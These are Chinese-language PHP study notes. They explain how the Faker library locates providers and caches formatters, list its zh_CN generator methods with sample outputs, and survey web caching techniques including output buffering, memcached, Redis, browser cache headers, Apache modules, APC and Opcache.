getProviderClassname 将按照以下逻辑寻找 provider 类,如果不存在于当前文件就到下一级文件查找,找不到就会跑出异常:
用户传入的语言包文件夹 -> 默认的en_US语言包文件夹 -> Provider根目录
addProvider
public function addProvider($provider){
array_unshift($this->providers, $provider);
}
addProvider就非常简单了,只是把找到的provider加入数组头部,数组存储在将要返回的$generator对象的属性中。
faker对象调用
在使用 faker 返回的对象时,有两种方式: 调用属性和调用方法。这些调用都会触发魔术方法:
public function format($formatter, $arguments = array()){
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
public function __get($attribute){
return $this->format($attribute);
}
public function __call($method, $attributes){
return $this->format($method, $attributes);
}
两者逻辑类似,这里说明相对麻烦一点的 __call 魔术方法,魔术方法会将调用的方法名和参数传入 farmat 方法。
getFormatter
public function getFormatter($formatter){
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
$this->formatters 中存储的就是 faker 专有名词那里提到的 formatter(格式器)相关的信息。为了方便理解,这里以获得数组中一个随机元素为例,说明这些抽象的概念。
$faker->randomElement(['a', 'b', 'c']);
当调用此方法时,触发魔术方法,然后遍历每一个 provider 类,查找是否存在此方法。直到在 Base.php 中发现存在此方法,此时要使用的提供器 provider 为 Base.php,格式器 formatter 就是 randomElement() 方法。
然后就需要将 Base 中存在 randomeElement() 的对应关系存储起来,避免下次重新遍历所有 provider,这就是 $this->formatters 实现的原因。
此方法返回对应的 provider 和 formatters 后,通过 call_user_func_array 调用并返回结果。
至此,一个完整的 faker 对象生成和调用的过程就结束了。
【 引入项目和简单使用 】
require '../vendor/autoload.php';
$faker = Faker\Factory::create('zh_CN'); //选择中文
var_dump($faker);
// 简单使用,可用循环输出多个
echo $faker->name(), '< br>'; //陶洋
echo $faker->address(), '< br>'; //成都沈河区
echo $faker->email(), '< br>'; //voluptate60@sina.com
echo '< hr>';
【 中文简体所有可以使用的方法 】
//所有方法: 语言包不同,返回结果会有差异
//Base
echo $faker->randomDigit(),'\n'; // 6
echo $faker->randomDigitNotNull(),'\n'; // 2
echo $faker->randomNumber($nbDigits = NULL, $strict = false),'\n'; // 93696431
echo $faker->randomFloat($nbMaxDecimals = NULL, $min = 0, $max = NULL),'\n'; // 24.3
echo $faker->numberBetween($min = 1000, $max = 9000),'\n'; // 3270
echo $faker->randomLetter(),'\n'; // n
var_export($faker->randomElements($array = array ('a','b','c'), $count = 1));echo '\n'; // array ( 0 => 'c', )
echo $faker->randomElement($array = array ('a','b','c')),'\n'; // b
echo $faker->shuffle('hello, world'),'\n'; // 'loher,w lodl'
var_export($faker->shuffle(array(1, 2, 3)));echo '\n'; // array ( 0 => 2, 1 => 1, 2 => 3, )
echo $faker->numerify('Hello ###'),'\n'; // 'Hello 609'
echo $faker->lexify('Hello ???'),'\n'; // 'Hello wgt'
echo $faker->bothify('Hello ##??'),'\n'; // 'Hello 42jz'
echo $faker->asciify('Hello ***'),'\n'; // 'Hello R6+'
echo $faker->regexify('[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,4}'),'\n'; // W@A.PVX
echo '\n;
//Lorem,加上s复数返回是数组
echo $faker->word(),'\n'; // rerum
var_export($faker->words($nb = 3, $asText = false));echo '\n'; // array ( 0 => 'ratione', 1 => 'tempore', 2 => 'ullam', )
echo $faker->sentence($nbWords = 6, $variableNbWords = true),'\n'; // Expedita consequatur quaerat temporibus vitae ea tenetur.
var_export($faker->sentences($nb = 3, $asText = false));echo '\n'; // array ( 0 => 'Et libero debitis et dolorem nisi.', 1 => 'Quaerat consequuntur sit deserunt aperiam minima non optio vel.', 2 => 'Dolores omnis minima est.', )
echo $faker->paragraph($nbSentences = 3, $variableNbSentences = true),'\n'; // Quis sit voluptatem facilis inventore eius et sed. Ut reprehenderit quas qui ducimus et et omnis cumque. Consequatur nostrum aut molestias commodi quis. Voluptates aut natus harum sit omnis eum.
var_export($faker->paragraphs($nb = 3, $asText = false));echo '\n'; // array ( 0 => 'Aperiam deleniti quia et excepturi quisquam commodi. Fugit fugit non dolorem quidem voluptas repellat et. Odit eum voluptas molestiae ut architecto.', 1 => 'Sequi rerum aliquid dolorum in delectus. Et unde et asperiores excepturi veniam ab. Odit aut qui tempore quis nam aperiam nam. Ex autem dolor nesciunt.', 2 => 'Recusandae minima doloremque sit facilis minus est deserunt. Sed sint velit eos tempora ad. Non laborum laboriosam qui asperiores et. Eum impedit ea qui corporis alias non.', )
echo $faker->text($maxNbChars = 200),'\n'; // Est quam aperiam et fuga iste architecto et. Sint officiis adipisci voluptatum pariatur. Voluptatem temporibus facilis corporis quod. Est rerum est eaque dolor mollitia a.
echo '\n;
//Person
echo $faker->title($gender = null|'male'|'female'),'\n'; // Mr.
echo $faker->titleMale(),'\n'; // Dr.
echo $faker->titleFemale(),'\n'; // Miss
echo $faker->name($gender = null|'male'|'female'),'\n'; // 戴伟
echo $faker->firstName($gender = null|'male'|'female'),'\n'; // 智渊
echo $faker->firstNameMale(),'\n'; // 伟
echo $faker->firstNameFemale(),'\n'; // 红霞
echo $faker->lastName(),'\n'; // 冯
echo '\n;
//Address
echo $faker->state(),'\n'; //北京市
echo $faker->stateAbbr(),'\n'; //吉
echo $faker->buildingNumber(),'\n'; //35
echo $faker->city(),'\n'; //石家庄
echo $faker->postcode(),'\n'; //128800
echo $faker->address(),'\n'; //太原双滦区
echo $faker->latitude($min = 3, $max = 53),'\n'; //纬度
echo $faker->longitude($min = 73, $max = 135),'\n'; //精度
echo '\n;
//PhoneNumber
echo $faker->phoneNumber(),'\n'; //15881159460
echo '\n;
//Company
echo $faker->catchPhrase(),'\n'; //康师傅方便面,好吃看得见。
echo $faker->company(),'\n'; //思优网络有限公司
echo $faker->companySuffix(),'\n'; //科技有限公司
echo $faker->companyPrefix(),'\n'; //雨林木风计算机
echo '\n;
//Text
echo $faker->realText($maxNbChars = 50, $indexSize = 2); //Cat said, waving its right ear and left off.
echo '\n;
//DateTime
echo $faker->unixTime($max = 'now'),'\n'; //655723035
print_r($faker->dateTime($max = 'now', $timezone = null));echo'\n'; //DateTime Object ( [date] => 1971-12-08 03:19:39.000000 [timezone_type] => 3 [timezone] => PRC )
print_r($faker->dateTimeAD($max = 'now', $timezone = null));echo'\n'; //DateTime Object ( [date] => 1907-10-08 18:26:02.000000 [timezone_type] => 3 [timezone] => PRC )
print_r($faker->iso8601($max = 'now'));echo'\n'; //1974-08-18T01:47:19+0800
print_r($faker->date($format = 'Y-m-d', $max = 'now'));echo'\n'; //1989-06-22
print_r($faker->time($format = 'H:i:s', $max = 'now'));echo'\n'; //22:17:45
print_r($faker->dateTimeBetween($startDate = '-30 years', $endDate = 'now', $timezone = null));echo'\n'; //DateTime Object ( [date] => 2011-06-23 23:24:57.000000 [timezone_type] => 3 [timezone] => PRC )
print_r($faker->dateTimeInInterval($startDate = '-30 years', $interval = '+ 5 days', $timezone = null));echo'\n'; //DateTime Object ( [date] => 1988-08-11 19:31:44.000000 [timezone_type] => 3 [timezone] => PRC )
print_r($faker->dateTimeThisCentury($max = 'now', $timezone = null));echo'\n'; //DateTime Object ( [date] => 1937-01-27 15:57:50.000000 [timezone_type] => 3 [timezone] => PRC )
print_r($faker->dateTimeThisDecade($max = 'now', $timezone = null));echo'\n'; //DateTime Object ( [date] => 2016-10-08 12:49:37.000000 [timezone_type] => 3 [timezone] => PRC )
print_r($faker->dateTimeThisYear($max = 'now', $timezone = null));echo'\n'; //DateTime Object ( [date] => 2017-08-28 17:00:52.000000 [timezone_type] => 3 [timezone] => PRC )
print_r($faker->dateTimeThisMonth($max = 'now', $timezone = null));echo'\n'; //DateTime Object ( [date] => 2018-07-23 13:32:14.000000 [timezone_type] => 3 [timezone] => PRC )
echo $faker->amPm($max = 'now'),'\n'; //上午
echo $faker->dayOfMonth($max = 'now'),'\n'; //30
echo $faker->dayOfWeek($max = 'now'),'\n'; //星期二
echo $faker->month($max = 'now'),'\n'; //03
echo $faker->monthName($max = 'now'),'\n'; //三月
echo $faker->year($max = 'now'),'\n'; //1982
echo $faker->century(),'\n'; //XV
echo $faker->timezone(),'\n'; //Europe/Paris
echo '\n;
//Internet
echo $faker->email(),'\n'; // et.quibusdam@gmail.com
echo $faker->safeEmail(),'\n'; // atque_impedit@example.com
echo $faker->freeEmail(),'\n'; // eveniet49@hotmail.com
echo $faker->freeEmailDomain(),'\n'; // yahoo.com
echo $faker->safeEmailDomain(),'\n'; // example.net
echo $faker->userName(),'\n'; // todit
echo $faker->password(),'\n'; // *0:E84>
echo $faker->slug(),'\n'; // repellendus-occaecati-facere-suscipit
echo $faker->ipv4(),'\n'; // 249.37.8.165
echo $faker->localIpv4(),'\n'; // 192.168.23.124
echo $faker->ipv6(),'\n'; // a724:326c:b6d7:7e6a:8f11:a1d2:263c:2cac
echo $faker->macAddress(),'\n'; // 8C:41:91:95:C7:A1
echo '\n;
//UserAgent
echo $faker->userAgent(),'\n'; // 'Mozilla/5.0 (Windows CE) AppleWebKit/5350 (KHTML, like Gecko) Chrome/13.0.888.0 Safari/5350'
echo $faker->chrome(),'\n'; // 'Mozilla/5.0 (Macintosh; PPC Mac OS X 10_6_5) AppleWebKit/5312 (KHTML, like Gecko) Chrome/14.0.894.0 Safari/5312'
echo $faker->firefox(),'\n'; // 'Mozilla/5.0 (X11; Linuxi686; rv:7.0) Gecko/20101231 Firefox/3.6'
echo $faker->safari(),'\n'; // 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_7_1 rv:3.0; en-US) AppleWebKit/534.11.3 (KHTML, like Gecko) Version/4.0 Safari/534.11.3'
echo $faker->opera(),'\n'; // 'Opera/8.25 (Windows NT 5.1; en-US) Presto/2.9.188 Version/10.00'
echo $faker->internetExplorer(),'\n';// 'Mozilla/5.0 (compatible; MSIE 7.0; Windows 98; Win 9x 4.90; Trident/3.0)'
echo '\n;
//Payment
echo $faker->bank(),'\n'; //中国光大银行,中文简体特有
echo $faker->creditCardType(),'\n'; // MasterCard
echo $faker->creditCardNumber(),'\n'; // 2662530999250526
print_r($faker->creditCardExpirationDate());echo '\n'; // DateTime Object ( [date] => 2019-10-10 02:45:11.000000 [timezone_type] => 3 [timezone] => PRC )
echo $faker->creditCardExpirationDateString(),'\n'; // 07/21
print_r($faker->creditCardDetails());echo '\n'; // Array ( [type] => Visa Retired [number] => 4532247850132 [name] => 冀婷 [expirationDate] => 09/20 )
echo $faker->iban('china'),'\n'; // CHINA57864778150598277815160149
echo $faker->swiftBicNumber(),'\n'; // OBWULDLM
echo '\n;
//Color
echo $faker->hexcolor(),'\n'; // #ba6426
echo $faker->rgbcolor(),'\n'; // 216,5,70
print_r($faker->rgbColorAsArray());echo '\n'; // Array ( [0] => 111 [1] => 5 [2] => 180 )
echo $faker->rgbCssColor(),'\n'; // rgb(242,111,249)
echo $faker->safeColorName(),'\n'; // 黄色
echo $faker->colorName(),'\n'; // 亮岩灰
echo '\n;
//File
echo $faker->fileExtension(),'\n'; // 'avi'
echo $faker->mimeType(),'\n'; // 'video/x-msvideo'
// Copy a random file from the source to the target directory and returns the fullpath or filename
//需要存在tmp文件夹并且里面有文件,会从tmp中随机取一张放到tmp2中。
echo $faker->file($sourceDir = './tmp', $targetDir = './tmp2'),'\n'; // ./tmp2\a5ab657a-ba2d-393a-9f6b-3e9f52cfff7d.png
echo $faker->file($sourceDir, $targetDir, false),'\n'; // 3dfd550e-b2ed-31b6-ba93-b1a14eae9396.png
echo '\n;
//Image
//同类网站还有,placeimg.com
echo $faker->imageUrl($width = 640, $height = 480),'\n'; // 'http://lorempixel.com/640/480/'
echo $faker->imageUrl($width, $height, 'cats'),'\n'; // 'http://lorempixel.com/800/600/cats/'
echo $faker->imageUrl($width, $height, 'cats', true, 'Faker'),'\n'; // 'http://lorempixel.com/800/400/cats/Faker'
echo $faker->imageUrl($width, $height, 'cats', true, 'Faker', true),'\n'; // 'http://lorempixel.com/grey/800/400/cats/Faker/' Monochrome image
/*
//图片会下载到tmp3文件夹中
echo $faker->image($dir = './tmp3', $width = 640, $height = 480),'\n'; // '/tmp/13b73edae8443990be1aa8f1a483bc27.jpg'
echo $faker->image($dir, $width, $height, 'cats'),'\n'; // 'tmp/13b73edae8443990be1aa8f1a483bc27.jpg' it's a cat!
echo $faker->image($dir, $width, $height, 'cats', false),'\n'; // '13b73edae8443990be1aa8f1a483bc27.jpg' it's a filename without path
echo $faker->image($dir, $width, $height, 'cats', true, false),'\n'; // it's a no randomize images (default: `true`)
echo $faker->image($dir, $width, $height, 'cats', true, true, 'Faker'),'\n'; // 'tmp/13b73edae8443990be1aa8f1a483bc27.jpg' it's a cat with 'Faker' text. Default, `null`.
*/
echo '\n;
//Uuid
echo $faker->uuid(),'\n'; // 5f232e4d-fe57-367e-9d04-c5e161f035f7
echo '\n;
//Barcode,ean商品条形码,isbn图片条形码
echo $faker->ean13(),'\n'; // '4006381333931'
echo $faker->ean8(),'\n'; // '73513537'
echo $faker->isbn13(),'\n'; // '9790404436093'
echo $faker->isbn10(),'\n'; // '4881416324'
echo '\n;
//Miscellaneous
echo $faker->boolean(),'\n'; // false
echo $faker->boolean($chanceOfGettingTrue = 50),'\n'; // true
echo $faker->md5(),'\n'; // 'de99a620c50f2990e87144735cd357e7'
echo $faker->sha1(),'\n'; // 'f08e7f04ca1a413807ebc47551a40a20a0b4de5c'
echo $faker->sha256(),'\n'; // '0061e4c60dac5c1d82db0135a42e00c89ae3a333e7c26485321f24348c7e98a5'
echo $faker->locale(),'\n'; // en_UK
echo $faker->countryCode(),'\n'; // UK
echo $faker->languageCode(),'\n'; // en
echo $faker->currencyCode(),'\n'; // EUR
tp5.1配合seed使用,根目录下运行php think seed:run即可生成测试数据
cache
缓存的目的 压力均分,减少对瓶颈环节的流量冲击 简化处理流程,提升整个流程的处理速度 持久化和固化数据 合理使用缓存 缓存实时性变化要求不严格的内容(防止出现幻度) 缓存经常访问但改动不频繁的内容

APP接口缓存方案
1、实时读取数据库开发接口
2、读取缓存的方式开发接口,有缓存则读取缓存,没有缓存是读取数据库同时缓存
3、crontab等方式定时读取预生成的缓存开发接口
1、CDN缓存原理
各地部署多套静态缓存服务,本质上是空间成本换时间
自动选择最近的节点内容,不存在再请求原始服务器
适合存储更新更少的静态内容,文件更新慢
2、数据文件缓存方案
将更新频率极低且读取几率高的数据缓存为文件如json文件
获取时不再查询数据库而是直接读和解析文件内容
3、数据缓存
顾名思义就是缓存数据的一种方式;比如商城中的某个商品信息,当用商品id去请求时就会得出包括店铺信息、商品信息等数据,此时就可以将这些数据缓存到一个php文件中,文件名包含商品id来建一个唯一标示;下一次有人想查看这个商品时首先就直接调这个文件里面的信息,而不用再去数据库查询;其实缓存文件中缓存的就是一个php数组之类;
Ecmall商城系统里面就用了这种方式
4、查询缓存
其实这跟数据缓存是一个思路,就是根据查询语句来缓存;将查询得到的数据缓存在一个文件中,下次遇到相同的查询时就直接先从这个文件里面调数据,不会再去查数据库;但此处的缓存文件名可能就需要以查询语句为基点来建立唯一标示;
页面缓存: 每次访问页面的时候,都会先检测相应的缓存页面文件是否存在,如果不存在,就连接数据库,得到数据,显示页面并同时生成缓存页面文件,这样下次访问的时候页面文件就发挥作用了,模板引擎和网上常见的一些PHP缓存机制类通常有此功能
5、全页面静态化缓存
将页面全部生成html静态页面,用户访问时直接访问静态页面,而不会走php服务器解析流程,此种方式在CMS系统中常见如dedecms
一种比较常用的实现方式是用输出缓存:
Ob_start();
******要运行的代码*******
$content = Ob_get_contents();
****将缓存内容写入html文件*****
Ob_end_clean();
常见于CMS,使用前后端分离的思路如Smarty把页面公用的区域做成模板,并留下变量区域,后台修改内容时把变量替换入模板并且生成HTML,用户访问适合直接显示HTML页面
有利于搜索引擎优化SEO,加快收录速度
减轻服务器负担,减少数据库请求和运算量
加快页面打开速度,便于进行CDN加速
防止漏洞和入侵
非常适合于文章类网站
而面对商城类的网站静态页面就有些不太实际,尤其面对有些客户而制定的各自对应的商品,这个时候就用到了从页面片段缓存到facebook的BigPipe技术,这个技术主要是前后端结合的技术,主要解决页面尤其是首页当内容特别多加载特别慢的时候改进的问题
首先,网站的正规流程是:
program data(php在执行的时候把数据准备好之后) =》
php buffer(暂存在php的缓存上) =》
tcp buffer(等到php完全执行后丢给tcp buffer,这个是存在于nginx或apache里的,然后由他们进行缓存,他们会读取其对应的html还有一些其他的元素,当整个文件完全完毕之后发给客户端) =》
client browers(客户端进行页面的渲染)
BigPipe技术就是当页面还没有准备完成的时候把页面分成一个个小块,处理的话利用每个快一个个处理,每处理完一个就存在buffer里面去,然后通知buffer先把数据传到客户端,浏览器在一个请求中不断接受并渲染到页面,逐块显示,JS不要立刻执行的部分可以最后再eval进来,为了支持这个技术,服务器也需要改动下
nginx配置: proxy_buffering off; fastcgi_keep_conn on;
php配置:关闭输出缓存 output_buffering=off;
所用的PHP方法:
ob_start()
flush()
ob_flush()
ob_get_contents()
ob_get_length()
ob_end_clean()
ob_end_flush()
ob_implicit_flush()
相对于AJAX的优势: 对服务器的压力只在于一次请求,不像一个ajax每次一个模块都要请求一次,形成多次请求
6、页面部分缓存
该种方式是将一个页面中不经常变的部分进行静态缓存,而经常变化的块不缓存,最后组装在一起显示;可使用类似于ob_get_contents的方式实现,也可以利用类似ESI之类的页面片段缓存策略,使其用来做动态页面中相对静态的片段部分的缓存
该种方式可以用于如商城中的商品页
7、按时间变更进行缓存
其实这一条不是真正的缓存方式;全页面静态化、页面部分缓存、数据缓存的缓存技术一般都用到了时间变更判断;就是对于缓存文件需要设一个有效时间,在这个有效时间内相同的访问才会先取缓存文件的内容,但超过设定的缓存时间就需要重新从数据库中获取数据,并生产最新的缓存文件;比如将商城的首页就是设置2个小时更新一次
8、按内容变更进行缓存
这个也并非独立的缓存技术,需结合着用;就是当数据库内容被修改时即刻更新缓存文件;
比如,一个人流量很大的商城,商品很多,商品表必然比较大,这表的压力也比较重,可以对商品显示页进行页面缓存;
当商家在后台修改这个商品的信息时,点击保存,同时就更新缓存文件;那么买家访问这个商品信息时实际上访问的是一个静态页面,而不需要再去访问数据库;
如果对商品页不缓存,那么每次访问一个商品就要去数据库查一次,如果有10万人在线浏览商品,那服务器压力就大了
9、内存数据库memcached
内存数据库是将数据放在内存中直接操作的数据库,解决数据使用效率的问题,减少IO消耗,分为关系型内存数据库和非关系型内存数据库
memcached是高性能的分布式内存缓存服务器,使用php操作Memcache之前需要安装memcache扩展
一般的使用目的是通过缓存数据库查询结果,减少数据库访问次数,以提高动态Web应用的速度、 提高可扩展性。
它就是将需要缓存的信息缓存到系统内存中,需要获取信息时直接到内存中取;比较常用的方式就是key–>value方式
memcached特征: 一个分布式高速缓存系统,协议简单,使用简单的基于文本行的协议,基于libevent事件处理,它将事件处理功能封装成一个接口,确保即使服务器端数量增加也能发挥出更好的功能,从而灵活调整服务器连接数,并且是以k-v结构的键值数据库,内存存储,存读速度快,不互相通信的分布式,每个服务器只对自己的数据进行管理
在分布式架构中: memcached的api是使用crc32方式计算键值,然后把资料分散给不同的机器上,这些机器之间并没有联系,每个机器只对自己的资料数据进行管理,这样可以使多个服务器端协同工作,应用程序端通过指定缓存服务器的ip地址和端口连接到Memcached进行服务,从这些来看,Memcached特别适合做程序和数据库之间的中间层,它可以缓存数据库里面的查询结果,从而减少对数据库的访问次数,或者储存复杂逻辑运算的结果,这样减少重复的计算,这里注意的是Memcached这里并不支持持久化,这样的话一般作为系统的冗余,加速系统的处理,它作为缓存系统处理要考虑数据丢失所造成的影响,比如这些数据是否可以重复获得,或者在高并发的情况下这些数据的丢失是否造成网站架构的崩溃
安全方面: 自身缺乏认证以及安全管制,这代表着把Memcached的服务放到防火墙后面,不能把Memcached的端口暴露到外网,这是一个非常危险的行为
传统的内存,当一个数据无效了进行销毁就会出现大量内存碎片,明显降低了操作系统对内存的管理效率
Memcached会把内存分为多个Slab,每个Slab内分为多个Page,同一个Slab下的Page空间相同,page里面有很多Chunk,也就是最终放数据的地方,如果数据存取的话根据数据的大小来分配到相应的chunk下去,但这样可能会造成大量的空间浪费,这个相当于用空间来换时间的办法,Memcache并不会主动释放,等到过期后就不能通过key来获取他的值,但当空间全部占用他会使用最近最少使用算法来进行清理,这样做的优点是很大程度的减少了内存碎片,提升了服务性能
PHP组件和Memcached:
Memcached本事依赖于libmemcached组件
使用Memcached实现分布式算法: 这是大数据下一个缓存解决方案,因为Memcached具有服务端互不通信的特点,这就需要Memcached通过程序来实现分布式,也就是通过写算法来让程序找到对应的缓存服务器,为了保证各个服务器的压力均分,需要考虑怎么进行分摊压力,怎么来保证算法的命中率
常用的分布式算法:
1.分布式算法之余数计算分散法
根据Key来计算CRC,然后结果对服务器进行取模的到memcached服务器节点,服务器无法连接时将尝试的连接次数加到key后面重新计算
缺点: 添加或移除服务器时几乎所有缓存要重建,还考虑雪崩式奔溃问题
2.分布式算法之一致性哈希算法
使得服务器的变动只能影响一个很小的范围,但也没有解决雪崩问题,但雪崩问题不只是算法能解决的问题了,想17年春晚的抢红包,淘宝也出现故障,负责人在知乎上说,用了双11三倍流量布置,但依然低估了春晚的力量,只能说目前来说一致性哈希算法是常用的
分布式服务器集中式缓存来解决Session共享:
场景: 假如有很多用户,这些用户的登陆在不同服务器上,Session是生成对应的服务器上的,造成的结果是用户在使用的时候发现有的时候自己有权限,有的时候自己没有权限了
解决: 因为缓存是集中式的,可以把session放到缓存里面的,对于php而言,它支持把session放到memcached里面的,这样操作之后,session就放到了公共区域,实现了多服务器共享,这样的话不仅解决了Session共享的问题,而且提高了性能,因为Session是以文件的形式存放在磁盘上的,如果数据量过大、有非常大压力的时候就会出现大量IO问题,如果放到缓存里面,因为缓存是一般是基于内存的,速度特别快,很大的提高了效率
修改session存放方式: 在php.ini中修改
session.save_path="ip:端口"
session.save_handler="memcached"
如果单独页面想把session存放在缓存里面的话
ini_set("session.save_hander","memcached")
ini_set("session.save_path","ip:11211")
缺点: 集群错误会导致用户无法登陆、回收机制可能导致用户掉线,比如memcached挂掉了,session就无法写入,导致客户无法正常登陆等问题
Memcache和Memcached的区别:
Mencache是基于pecl扩展库版本,php_memcache.dll
$cache = new Memcache;
$cache->connect('127.0.0.1', 11211) or die ("Could not connect");
$cache->set('memcache_key', 'value');
echo $cache->get('memcache_key');
Memcached是基于libmemcached版本,php_memcached.dll
$cached = new memcached();
$cached->addServer('127.0.0.1', 11211);
$cached->set('memcache_key', 'value22');
echo $cached->get('memcache_key');
也就是说memcache基于php框架内开发的一个扩展,对于libmemcached这个组件提供了api,程序可以通过api来进行交互,所以在linux在编译memcached这个扩展的时候需要安装libmemcached这个库,另外Memcache实现了面向过程和面向对象的接口,而Memcached这个只是实现面向对象的接口,但提供了更多的协议和调用方式,提供了比较高级的接口和方法,总体来说Memcached的适应性更广一些
10、内存数据库Redis
完全开源免费,遵守BSD协议,是一个高性能的key-value数据库
简单的key-value存储,性能极高
Redis拥有更多的数据结构和并支持更丰富数据操作
Redis支持数据持久化和数据恢复
Redis的所有操作都是原子性的
服务器支持AUTH密码验证
Redis本身是支持事物的,它的原理是批量的把一些操作发送给队列进行缓存,然后收到这些命令进入事务的执行状态,而事务中的命令只要执行一次失败就不会执行,而且在事务执行过程中客户端其他的请求都会被拒绝掉,这样保证事务的一致性
Redis和PHP组件的安装和配置:
Redis的持久化:
RDB: 指定的时间间隔内保存数据快照 redis.conf save 300 10
AOF: 先把命令追加到操作日志的尾部,保存所有历史操作
ROB优点: 适合用于进行备份,fork出子进程进行备份,主进程没有任何IO操作,恢复大数据时的速度快
缺点: 特定条件下进行一次持久化,易丢失数据,庞大数据时候保存时会出现性能问题
AOF优点: 数据非常完整,故障回复丢失数据少,可对历史操作进行处理 redis.conf:appednonly yes
缺点: 文件的体积大,速度低于RDB且故障回复速度慢
Redis集群的方案: Redis Cluster(Redis官方提出来的解决方案)
11、浏览器缓存
浏览器缓存是用户在本地磁盘对用户最近的一次操作所产生的文档进行一次储存,如果用户再次浏览这个界面就会加载文档,主要一些静态资源,尽量的保存在客户端,用户请求时就不需要解析一遍了,这样可以减少服务器压力,减少了数据的传输
Header字段 输出方式:
HTML: < meta http-equiv="Cache-Control" content="max-age=7200">
PHP: < ?php header('Cache-Control:max-age=7200');
还可以通过nginx或apache进行输出
强缓存 阶段的Header字段: 反映头是200
大多数返回标签的时候前两个也会返回,这是向下的兼容性,保证以前的浏览器不会出问题,其中Pragma和Cache-control是双向字段,请求报文和响应报文都会有,其中它如果当请求的话就是希望服务端返回什么数据或通过中间服务器不要对这些东西进行缓存,而如果是服务端发送给浏览器就是不要做那些操作,
其中Pragma表示页面是否缓存: no-cache(基本只有ie能实现,客户端定义没什么意义)
Expires:后面带一个时间即格林尼治时间,如果禁用缓存就没什么意义,但启用的话多长时间到什么时候结束是由这个说了算,比较精确Sat, 31 Aug 2019 07:46:38 GMT
Cache-control:max-age=秒数(缓存最大的有效时间,当前时间开始到多少秒)
public\private 多页面共享\当前页面有效(还受https协议控制,如果是https,public自动转换为private)
no-cache\no-stoe\must-revalidate:不允许缓存(例如https认证的页面)\ 不允许存在用户磁盘了,存在内存中\必须请求认证一般配合max-age使用,在多少秒后执行
协商缓存阶段的Header字段 : 显示的反映头是304
流程: 首次打开页面,服务器下发给浏览器Last_Modified响应头告诉它最后一次更新的时间,再次刷新的时候,if-Modified-since(是浏览器发送给服务器的一个字段(请求头)把上次提交的时间再传回去,重新传给了服务端,然后服务器会拿到这个时间与服务器的Last_Modified进行对比,如果传过去的时间和最后修改时间一样的话,就认为没有修改过,就会返回一个304,
12、服务器程序缓存:
Apache缓存: 两大模块 过期模块 mod_expires.so 缓存模块 mod_cache
通过配置文件控制HTTP的'Expires'和'Cache-Control'头内容
apache安装完以后是不允许被cache的,如果外接了cache或squid服务器要求进行web加速的就需要在htttpd.conf里进行设置,当然前提是在安装apache的时候要激活mod_cache的模块。
安装apache时: ./configure –enable-cache –enable-disk-cache –enable-mem-cache
Apapche缓存模块:
关于这里Apapche官方还是比较谨慎的,除了配置文件外,几乎没有其他地方可以控制的,因为缓存具有命中率和时间的问题,所以很难用一些程序来主动的更新缓存。
mod_cache:基于URL键的内容动态缓冲模块,缓存响应头和正文,以便在下一个请求时快速相应它
mod_disk_cache(Apache2.2)/mod_cache_disk(Apache2.4)基于磁盘的缓冲模块
mod_mem_cache.so(Apache2.2)基于内存的缓冲模块,2.4版本已经移除
mod_file_cache提供文件描述符缓存支持,加快与缓慢的文件系统服务器的文件访问,只能应用于静态文件
而官方给出来的缓存模块都有时间限制的
13、php APC缓存扩展
Php有一个APC缓存扩展,windows下面为php_apc.dll,需要先加载这个模块,然后是在php.ini里面进行配置:
[apc]
extension=php_apc.dll
apc.rfc1867 = on
upload_max_filesize = 100M
post_max_size = 100M
apc.max_file_size = 200M
upload_max_filesize = 1000M
post_max_size = 1000M
max_execution_time = 600 ; 每个PHP页面运行的最大时间值(秒),默认30秒
max_input_time = 600 ; 每个PHP页面接收数据所需的最大时间,默认60
memory_limit = 128M ; 每个PHP页面所吃掉的最大内存,默认8M
PHP的Opcache缓存
php的执行流程: 首先php代码被解析为Tokens,然后再编译为Opcode码,最后执行Opcode码,返回结果;所以对于相同的php文件,第一次运行时可以缓存其Opcode码,下次再执行这个页面时直接会去找到缓存下的opcode码,直接执行最后一步,而不再需要中间的步骤了。
比较知名的是XCache、Turck MM Cache、PHP Accelerator等
解释性的语言,这种语言事先不需要编译,而是在运行的时候才能翻译成机器语言,所以对于解释性语言来说每执行一次就需要翻译一次,所以导致效率非常的低
而PHP是一种经典的动态语言,所以它的步骤和其他语言是类似的,首先拿到一段代码,然后进行词语解析和语法解析,这个阶段后被翻译成一个个指令然后由zend虚拟机把这些指令一个个执行,而这些指令就是Opcache
APC缓存
除非脚本可以缓存,否则每次调用时都会重新编译一次。引入一套PHP缓存机制通常可以提升25%至100%的性能,以免除编译开销,如APC APC的全称为Alternative PHP Cache, 是一款开源的php插件,用来对php的代码或者用户数据进行缓存 APC的缓存分两部分:系统缓存和用户数据缓存。 PHP是一个动态脚本语言,所以为了让用户在浏览器中看到页面内容,服务器必须解析php代码从而生成想用的html代码。从上面的图中可以看出,在没有apc的时候,用户对php页面的每一次请求,服务器都需要进行对php进行解析,编译以及执行,但是很多时候,只要php代码没有发生更改,php的执行逻辑就不会改变,也就是说解析以及编译的过程就可以省略,直接执行然后将结果返回即可。这就是apc的工作,apc缓存php的可执行代码,从而去掉了解析以及编译的过程,加快了php脚本的执行速度。 除了缓存php代码外,apc还可以进行用户数据的缓存,但是由于apc的容量很少,所以缓存的数据最好是那些很长时间都不变的数据,不变的单位应该以天位单位。所以如果数据是变化很频繁的并且数据量也比较大,那么就不要使用apc了,可以使用memcache或者redis apt-get install php-apc http://pecl.php.net/package/APCAPC和redis对比
APC的配置 配置的例子如下: extension= apc.so apc.enabled=1 apc.shm_segments=1 apc.shm_size=64M ; apc内存的大小,最后的大小需要乘上segments的数量,所以这里一共为apc分配64M apc.ttl=7200 apc.user_ttl=7200 apc.enable_cli=1 ; 这个如果不开启,则只可以在网页上进行apc操作,不能通过cli进行apc操作
redis (REmote DIctionary Server,远程字典服务) port:6379
【 硬盘 内存 缓存 】
硬盘的容量非常的大,速度一般,而且可以实现永久存储,电脑程序就存在那里。
内存是容量较小,速度快,是CPU工作的地方,对系统性能影响很大,CPU工作时会把硬盘中要运行的程序先调到内存中才能处理。
缓存的容量最小,但速度最快,为了协调CPU的高速度和内存的相对低速度的缓冲区域
